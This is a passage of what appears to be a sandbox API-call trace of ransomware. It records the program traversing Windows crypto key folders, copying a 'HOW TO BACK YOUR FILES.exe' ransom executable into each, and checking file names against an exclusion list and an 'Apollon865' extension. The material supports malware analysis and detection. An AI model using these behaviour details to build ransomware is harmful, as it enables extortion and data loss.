	[0040.024] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0040.024] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
	[0040.024] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0040.024] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0040.025] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA"
	[0040.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0040.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0040.025] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned 39
	[0040.025] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA"
	[0040.025] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.025] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.029] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.029] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.029] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.029] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.029] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.029] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.029] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.029] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.029] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.029] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.029] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ff72050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.029] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.029] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0040.029] lstrcmpiW (lpString1="MachineKeys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.029] lstrcmpiW (lpString1="MachineKeys", lpString2="Apollon865.txt.exe") returned 1
	[0040.029] lstrcmpiW (lpString1="MachineKeys", lpString2=".") returned 1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="..") returned 1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="windows") returned -1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="bootmgr") returned 1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="temp") returned -1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="pagefile.sys") returned -1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="boot") returned 1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="ids.txt") returned 1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="ntuser.dat") returned -1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="perflogs") returned -1
	[0040.030] lstrcmpiW (lpString1="MachineKeys", lpString2="MSBuild") returned -1
	[0040.030] lstrlenW (lpString="MachineKeys") returned 11
	[0040.030] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*") returned 41
	[0040.030] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MachineKeys" | out: lpString1="MachineKeys") returned="MachineKeys"
	[0040.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0040.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599a78
	[0040.030] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0040.030] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0040.030] lstrcmpiW (lpString1="S-1-5-18", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.030] lstrcmpiW (lpString1="S-1-5-18", lpString2="Apollon865.txt.exe") returned 1
	[0040.030] lstrcmpiW (lpString1="S-1-5-18", lpString2=".") returned 1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="..") returned 1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="windows") returned -1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="bootmgr") returned 1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="temp") returned -1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="pagefile.sys") returned 1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="boot") returned 1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="ids.txt") returned 1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="ntuser.dat") returned 1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="perflogs") returned 1
	[0040.031] lstrcmpiW (lpString1="S-1-5-18", lpString2="MSBuild") returned 1
	[0040.031] lstrlenW (lpString="S-1-5-18") returned 8
	[0040.031] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 51
	[0040.032] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="S-1-5-18" | out: lpString1="S-1-5-18") returned="S-1-5-18"
	[0040.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0040.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x599450
	[0040.032] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0040.032] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
	[0040.032] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0040.032] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0040.032] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0040.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0040.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0040.032] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 48
	[0040.032] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0040.032] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.032] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.040] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.040] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.040] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.040] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.040] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.040] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.040] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.040] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.040] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.040] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.040] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Apollon865.txt.exe") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".") returned 1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="..") returned 1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="windows") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="bootmgr") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="temp") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="pagefile.sys") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="boot") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="ids.txt") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="ntuser.dat") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="perflogs") returned -1
	[0040.040] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="MSBuild") returned -1
	[0040.040] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0040.040] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned 50
	[0040.040] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"
	[0040.040] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0040.041] lstrlenW (lpString="Apollon865") returned 10
	[0040.041] lstrcmpiW (lpString1="9ec416e53f", lpString2="Apollon865") returned -1
	[0040.041] lstrlenW (lpString=".dll") returned 4
	[0040.041] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".dll") returned 1
	[0040.041] lstrlenW (lpString=".lnk") returned 4
	[0040.041] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".lnk") returned 1
	[0040.041] lstrlenW (lpString=".ini") returned 4
	[0040.041] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".ini") returned 1
	[0040.041] lstrlenW (lpString=".sys") returned 4
	[0040.041] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".sys") returned 1
	[0040.041] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0040.041] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"
	[0040.041] lstrlenW (lpString="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0040.041] lstrlenW (lpString="Apollon865") returned 10
	[0040.041] lstrcmpiW (lpString1="9ec416e53f", lpString2="Apollon865") returned -1
	[0040.041] lstrlenW (lpString=".dll") returned 4
	[0040.041] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".dll") returned 1
	[0040.041] lstrlenW (lpString=".lnk") returned 4
	[0040.041] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".lnk") returned 1
	[0040.041] lstrlenW (lpString=".ini") returned 4
	[0040.041] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".ini") returned 1
	[0040.041] lstrlenW (lpString=".sys") returned 4
	[0040.041] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".sys") returned 1
	[0040.041] lstrlenW (lpString="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0040.041] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0040.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0040.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0040.041] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 51
	[0040.041] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0040.041] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.041] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.046] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.046] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.046] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.046] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.046] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.046] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.046] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.046] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.046] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.046] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.046] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.046] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.046] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0040.046] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0040.046] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0040.047] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys"
	[0040.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0040.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0040.047] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned 40
	[0040.047] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys"
	[0040.047] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.047] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.051] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.051] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.051] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.051] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.051] lstrcmpiW (lpString1=".", lpString2=".") returned 0
